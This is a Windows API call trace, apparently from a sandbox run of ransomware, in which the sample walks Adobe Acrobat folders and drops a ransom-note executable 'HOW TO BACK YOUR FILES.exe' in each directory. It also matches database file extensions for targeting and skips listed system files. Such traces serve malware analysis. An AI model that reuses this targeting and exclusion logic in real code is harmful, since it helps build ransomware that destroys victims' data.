	[0050.403] lstrcmpiW (lpString1="cc", lpString2="db") returned -1
	[0050.403] lstrlenW (lpString="db2") returned 3
	[0050.403] lstrcmpiW (lpString1="icc", lpString2="db2") returned 1
	[0050.403] lstrlenW (lpString="db3") returned 3
	[0050.403] lstrcmpiW (lpString1="icc", lpString2="db3") returned 1
	[0050.403] lstrlenW (lpString="dbf") returned 3
	[0050.403] lstrcmpiW (lpString1="icc", lpString2="dbf") returned 1
	[0050.403] lstrlenW (lpString="mdf") returned 3
	[0050.403] lstrcmpiW (lpString1="icc", lpString2="mdf") returned -1
	[0050.403] lstrlenW (lpString="mdb") returned 3
	[0050.403] lstrcmpiW (lpString1="icc", lpString2="mdb") returned -1
	[0050.403] lstrlenW (lpString="sql") returned 3
	[0050.403] lstrcmpiW (lpString1="icc", lpString2="sql") returned -1
	[0050.403] lstrlenW (lpString="sqlite") returned 6
	[0050.403] lstrcmpiW (lpString1="GB.icc", lpString2="sqlite") returned -1
	[0050.403] lstrlenW (lpString="sqlite3") returned 7
	[0050.403] lstrcmpiW (lpString1="RGB.icc", lpString2="sqlite3") returned -1
	[0050.403] lstrlenW (lpString="sqlitedb") returned 8
	[0050.403] lstrcmpiW (lpString1="cRGB.icc", lpString2="sqlitedb") returned -1
	[0050.403] lstrlenW (lpString="xml") returned 3
	[0050.404] lstrcmpiW (lpString1="icc", lpString2="xml") returned -1
	[0050.404] lstrlenW (lpString="$er") returned 3
	[0050.404] lstrcmpiW (lpString1="icc", lpString2="$er") returned 1
	[0050.404] lstrlenW (lpString="4dd") returned 3
	[0050.404] lstrcmpiW (lpString1="icc", lpString2="4dd") returned 1
	[0050.404] lstrlenW (lpString="4dl") returned 3
	[0050.404] lstrcmpiW (lpString1="icc", lpString2="4dl") returned 1
	[0050.404] lstrlenW (lpString="^^^") returned 3
	[0050.404] lstrcmpiW (lpString1="icc", lpString2="^^^") returned 1
	[0050.404] lstrlenW (lpString="abs") returned 3
	[0050.404] lstrcmpiW (lpString1="icc", lpString2="abs") returned 1
	[0050.404] lstrlenW (lpString="abx") returned 3
	[0050.404] lstrcmpiW (lpString1="icc", lpString2="abx") returned 1
	[0050.404] lstrlenW (lpString="accdb") returned 5
	[0050.404] lstrcmpiW (lpString1="B.icc", lpString2="accdb") returned 1
	[0050.404] lstrlenW (lpString="accdc") returned 5
	[0050.404] lstrcmpiW (lpString1="B.icc", lpString2="accdc") returned 1
	[0050.404] lstrlenW (lpString="accde") returned 5
	[0050.404] lstrcmpiW (lpString1="B.icc", lpString2="accde") returned 1
	[0050.404] lstrlenW (lpString="accdr") returned 5
	[0050.404] lstrcmpiW (lpString1="B.icc", lpString2="accdr") returned 1
	[0050.404] lstrlenW (lpString="accdt") returned 5
	[0050.404] lstrcmpiW (lpString1="B.icc", lpString2="accdt") returned 1
	[0050.404] lstrlenW (lpString="accdw") returned 5
	[0050.404] lstrcmpiW (lpString1="B.icc", lpString2="accdw") returned 1
	[0050.404] lstrlenW (lpString="accft") returned 5
	[0050.404] lstrcmpiW (lpString1="B.icc", lpString2="accft") returned 1
	[0050.404] lstrlenW (lpString="adb") returned 3
	[0050.404] lstrcmpiW (lpString1="icc", lpString2="adb") returned 1
	[0050.404] lstrlenW (lpString="adb") returned 3
	[0050.404] lstrcmpiW (lpString1="icc", lpString2="adb") returned 1
	[0050.405] lstrlenW (lpString="ade") returned 3
	[0050.405] lstrcmpiW (lpString1="icc", lpString2="ade") returned 1
	[0050.405] lstrlenW (lpString="adf") returned 3
	[0050.405] lstrcmpiW (lpString1="icc", lpString2="adf") returned 1
	[0050.405] lstrlenW (lpString="adn") returned 3
	[0050.405] lstrcmpiW (lpString1="icc", lpString2="adn") returned 1
	[0050.405] lstrlenW (lpString="adp") returned 3
	[0050.405] lstrcmpiW (lpString1="icc", lpString2="adp") returned 1
	[0050.405] lstrlenW (lpString="alf") returned 3
	[0050.405] lstrcmpiW (lpString1="icc", lpString2="alf") returned 1
	[0050.405] lstrlenW (lpString="ask") returned 3
	[0050.405] lstrcmpiW (lpString1="icc", lpString2="ask") returned 1
	[0050.405] lstrlenW (lpString="btr") returned 3
	[0050.405] lstrcmpiW (lpString1="icc", lpString2="btr") returned 1
	[0050.405] lstrlenW (lpString="cat") returned 3
	[0050.405] lstrcmpiW (lpString1="icc", lpString2="cat") returned 1
	[0050.405] lstrlenW (lpString="cdb") returned 3
	[0050.405] lstrcmpiW (lpString1="icc", lpString2="cdb") returned 1
	[0050.405] lstrlenW (lpString="ckp") returned 3
	[0050.405] lstrcmpiW (lpString1="icc", lpString2="ckp") returned 1
	[0050.405] lstrlenW (lpString="cma") returned 3
	[0050.405] lstrcmpiW (lpString1="icc", lpString2="cma") returned 1
	[0050.405] lstrlenW (lpString="cpd") returned 3
	[0050.405] lstrcmpiW (lpString1="icc", lpString2="cpd") returned 1
	[0050.405] lstrlenW (lpString="dacpac") returned 6
	[0050.405] lstrcmpiW (lpString1="GB.icc", lpString2="dacpac") returned 1
	[0050.405] lstrlenW (lpString="dad") returned 3
	[0050.405] lstrcmpiW (lpString1="icc", lpString2="dad") returned 1
	[0050.405] lstrlenW (lpString="dadiagrams") returned 10
	[0050.405] lstrlenW (lpString="daschema") returned 8
	[0050.405] lstrcmpiW (lpString1="cRGB.icc", lpString2="daschema") returned -1
	[0050.405] lstrlenW (lpString="db-journal") returned 10
	[0050.405] lstrlenW (lpString="db-shm") returned 6
	[0050.405] lstrcmpiW (lpString1="GB.icc", lpString2="db-shm") returned 1
	[0050.405] lstrlenW (lpString="db-wal") returned 6
	[0050.406] lstrcmpiW (lpString1="GB.icc", lpString2="db-wal") returned 1
	[0050.406] lstrlenW (lpString="dbc") returned 3
	[0050.406] lstrcmpiW (lpString1="icc", lpString2="dbc") returned 1
	[0050.406] lstrlenW (lpString="dbs") returned 3
	[0050.406] lstrcmpiW (lpString1="icc", lpString2="dbs") returned 1
	[0050.406] lstrlenW (lpString="dbt") returned 3
	[0050.406] lstrcmpiW (lpString1="icc", lpString2="dbt") returned 1
	[0050.406] lstrlenW (lpString="dbv") returned 3
	[0050.406] lstrcmpiW (lpString1="icc", lpString2="dbv") returned 1
	[0050.406] lstrlenW (lpString="dbx") returned 3
	[0050.406] lstrcmpiW (lpString1="icc", lpString2="dbx") returned 1
	[0050.406] lstrlenW (lpString="dcb") returned 3
	[0050.406] lstrcmpiW (lpString1="icc", lpString2="dcb") returned 1
	[0050.406] lstrcmpiW (lpString1="icc", lpString2="dct") returned 1
	[0050.406] lstrcmpiW (lpString1="icc", lpString2="dcx") returned 1
	[0050.406] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="wsRGB.icc" | out: lpString1="wsRGB.icc") returned="wsRGB.icc"
	[0050.406] lstrlenW (lpString="wsRGB.icc") returned 9
	[0050.406] lstrlenW (lpString="Apollon865") returned 10
	[0050.406] lstrlenW (lpString=".dll") returned 4
	[0050.406] lstrcmpiW (lpString1="wsRGB.icc", lpString2=".dll") returned 1
	[0050.406] lstrlenW (lpString=".lnk") returned 4
	[0050.406] lstrcmpiW (lpString1="wsRGB.icc", lpString2=".lnk") returned 1
	[0050.406] lstrlenW (lpString=".ini") returned 4
	[0050.406] lstrcmpiW (lpString1="wsRGB.icc", lpString2=".ini") returned 1
	[0050.406] lstrlenW (lpString=".sys") returned 4
	[0050.406] lstrcmpiW (lpString1="wsRGB.icc", lpString2=".sys") returned 1
	[0050.406] lstrlenW (lpString="wsRGB.icc") returned 9
	[0050.406] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat"
	[0050.406] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0050.407] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0050.407] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat") returned 57
	[0050.407] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat"
	[0050.407] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.407] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.413] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.413] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x361eee90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x361eee90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.413] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.413] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.413] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.413] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x361eee90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x361eee90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.413] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.413] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.413] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.413] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.413] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0050.413] lstrcmpiW (lpString1="10.0", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.413] lstrcmpiW (lpString1="10.0", lpString2="Apollon865.txt.exe") returned -1
	[0050.413] lstrcmpiW (lpString1="10.0", lpString2=".") returned 1
	[0050.413] lstrcmpiW (lpString1="10.0", lpString2="..") returned 1
	[0050.413] lstrcmpiW (lpString1="10.0", lpString2="windows") returned -1
	[0050.413] lstrcmpiW (lpString1="10.0", lpString2="bootmgr") returned -1
	[0050.413] lstrcmpiW (lpString1="10.0", lpString2="temp") returned -1
	[0050.413] lstrcmpiW (lpString1="10.0", lpString2="pagefile.sys") returned -1
	[0050.413] lstrcmpiW (lpString1="10.0", lpString2="boot") returned -1
	[0050.414] lstrcmpiW (lpString1="10.0", lpString2="ids.txt") returned -1
	[0050.414] lstrcmpiW (lpString1="10.0", lpString2="ntuser.dat") returned -1
	[0050.414] lstrcmpiW (lpString1="10.0", lpString2="perflogs") returned -1
	[0050.414] lstrcmpiW (lpString1="10.0", lpString2="MSBuild") returned -1
	[0050.414] lstrlenW (lpString="10.0") returned 4
	[0050.414] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*") returned 59
	[0050.414] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="10.0" | out: lpString1="10.0") returned="10.0"
	[0050.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0050.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf898
	[0050.414] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7970
	[0050.414] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x361eee90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x361eee90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.414] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.414] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x361eee90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x361eee90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0050.414] FindClose (in: hFindFile=0x5ca410 | out: hFindFile=0x5ca410) returned 1
	[0050.414] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7990
	[0050.414] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0"
	[0050.414] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0050.414] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0050.414] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0") returned 62
	[0050.414] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0"
	[0050.414] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.414] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.419] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.419] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x361eee90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x361eee90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.419] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.419] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.419] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.419] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x361eee90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x361eee90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.419] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.419] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.419] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.419] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.419] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x892c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1
	[0050.419] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.419] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2="Apollon865.txt.exe") returned -1
	[0050.419] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2=".") returned 1
	[0050.419] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2="..") returned 1
	[0050.419] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2="windows") returned -1
	[0050.419] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2="bootmgr") returned -1
	[0050.419] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2="temp") returned -1
	[0050.419] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2="pagefile.sys") returned -1
	[0050.419] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2="boot") returned -1
	[0050.419] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2="ids.txt") returned -1
	[0050.419] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2="ntuser.dat") returned -1
	[0050.419] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2="perflogs") returned -1
	[0050.419] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2="MSBuild") returned -1
	[0050.419] lstrlenW (lpString="AdobeCMapFnt10.lst") returned 18
	[0050.419] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*") returned 64
	[0050.419] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="AdobeCMapFnt10.lst" | out: lpString1="AdobeCMapFnt10.lst") returned="AdobeCMapFnt10.lst"
	[0050.419] lstrlenW (lpString="AdobeCMapFnt10.lst") returned 18
	[0050.420] lstrlenW (lpString="Apollon865") returned 10
	[0050.420] lstrcmpiW (lpString1="pFnt10.lst", lpString2="Apollon865") returned 1
	[0050.420] lstrlenW (lpString=".dll") returned 4
	[0050.420] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2=".dll") returned 1
	[0050.420] lstrlenW (lpString=".lnk") returned 4
	[0050.420] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2=".lnk") returned 1
	[0050.420] lstrlenW (lpString=".ini") returned 4
	[0050.420] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2=".ini") returned 1
	[0050.420] lstrlenW (lpString=".sys") returned 4
	[0050.420] lstrcmpiW (lpString1="AdobeCMapFnt10.lst", lpString2=".sys") returned 1
	[0050.420] lstrlenW (lpString="AdobeCMapFnt10.lst") returned 18
	[0050.420] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="AdobeSysFnt10.lst" | out: lpString1="AdobeSysFnt10.lst") returned="AdobeSysFnt10.lst"
	[0050.420] lstrlenW (lpString="AdobeSysFnt10.lst") returned 17
	[0050.420] lstrlenW (lpString="Apollon865") returned 10
	[0050.420] lstrcmpiW (lpString1="sFnt10.lst", lpString2="Apollon865") returned 1
	[0050.420] lstrlenW (lpString=".dll") returned 4
	[0050.420] lstrcmpiW (lpString1="AdobeSysFnt10.lst", lpString2=".dll") returned 1
	[0050.420] lstrlenW (lpString=".lnk") returned 4
	[0050.420] lstrcmpiW (lpString1="AdobeSysFnt10.lst", lpString2=".lnk") returned 1
	[0050.420] lstrlenW (lpString=".ini") returned 4
	[0050.420] lstrcmpiW (lpString1="AdobeSysFnt10.lst", lpString2=".ini") returned 1
	[0050.420] lstrlenW (lpString=".sys") returned 4
	[0050.420] lstrcmpiW (lpString1="AdobeSysFnt10.lst", lpString2=".sys") returned 1
	[0050.420] lstrlenW (lpString="AdobeSysFnt10.lst") returned 17
	[0050.421] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Cache" | out: lpString1="Cache") returned="Cache"
	[0050.421] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0050.421] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8a) returned 0x5c8f30
	[0050.421] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7970
	[0050.421] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x361eee90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x361eee90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.421] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.421] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xee0c3750, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SharedDataEvents", cAlternateFileName="SHARED~1")) returned 1
	[0050.421] lstrcmpiW (lpString1="SharedDataEvents", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.421] lstrcmpiW (lpString1="SharedDataEvents", lpString2="Apollon865.txt.exe") returned 1
	[0050.421] lstrcmpiW (lpString1="SharedDataEvents", lpString2=".") returned 1
	[0050.421] lstrcmpiW (lpString1="SharedDataEvents", lpString2="..") returned 1
	[0050.421] lstrcmpiW (lpString1="SharedDataEvents", lpString2="windows") returned -1
	[0050.421] lstrcmpiW (lpString1="SharedDataEvents", lpString2="bootmgr") returned 1
	[0050.421] lstrcmpiW (lpString1="SharedDataEvents", lpString2="temp") returned -1
	[0050.421] lstrcmpiW (lpString1="SharedDataEvents", lpString2="pagefile.sys") returned 1
	[0050.421] lstrcmpiW (lpString1="SharedDataEvents", lpString2="boot") returned 1
	[0050.421] lstrcmpiW (lpString1="SharedDataEvents", lpString2="ids.txt") returned 1
	[0050.421] lstrcmpiW (lpString1="SharedDataEvents", lpString2="ntuser.dat") returned 1
	[0050.421] lstrcmpiW (lpString1="SharedDataEvents", lpString2="perflogs") returned 1
	[0050.421] lstrcmpiW (lpString1="SharedDataEvents", lpString2="MSBuild") returned 1
	[0050.421] lstrlenW (lpString="SharedDataEvents") returned 16
	[0050.421] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache") returned 68
	[0050.421] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="SharedDataEvents" | out: lpString1="SharedDataEvents") returned="SharedDataEvents"
	[0050.421] lstrlenW (lpString="SharedDataEvents") returned 16
	[0050.421] lstrlenW (lpString="Apollon865") returned 10
	[0050.421] lstrcmpiW (lpString1="DataEvents", lpString2="Apollon865") returned 1
	[0050.421] lstrlenW (lpString=".dll") returned 4
	[0050.421] lstrcmpiW (lpString1="SharedDataEvents", lpString2=".dll") returned 1
	[0050.421] lstrlenW (lpString=".lnk") returned 4
	[0050.421] lstrcmpiW (lpString1="SharedDataEvents", lpString2=".lnk") returned 1
	[0050.421] lstrlenW (lpString=".ini") returned 4
	[0050.421] lstrcmpiW (lpString1="SharedDataEvents", lpString2=".ini") returned 1
	[0050.421] lstrlenW (lpString=".sys") returned 4
	[0050.422] lstrcmpiW (lpString1="SharedDataEvents", lpString2=".sys") returned 1
	[0050.422] lstrlenW (lpString="SharedDataEvents") returned 16
	[0050.422] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="UserCache.bin" | out: lpString1="UserCache.bin") returned="UserCache.bin"
	[0050.422] lstrlenW (lpString="UserCache.bin") returned 13
	[0050.422] lstrlenW (lpString="Apollon865") returned 10
	[0050.422] lstrcmpiW (lpString1="rCache.bin", lpString2="Apollon865") returned 1
	[0050.422] lstrlenW (lpString=".dll") returned 4
	[0050.422] lstrcmpiW (lpString1="UserCache.bin", lpString2=".dll") returned 1
	[0050.422] lstrlenW (lpString=".lnk") returned 4
	[0050.422] lstrcmpiW (lpString1="UserCache.bin", lpString2=".lnk") returned 1
	[0050.422] lstrlenW (lpString=".ini") returned 4
	[0050.422] lstrcmpiW (lpString1="UserCache.bin", lpString2=".ini") returned 1
	[0050.422] lstrlenW (lpString=".sys") returned 4
	[0050.422] lstrcmpiW (lpString1="UserCache.bin", lpString2=".sys") returned 1
	[0050.422] lstrlenW (lpString="UserCache.bin") returned 13
	[0050.422] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache"
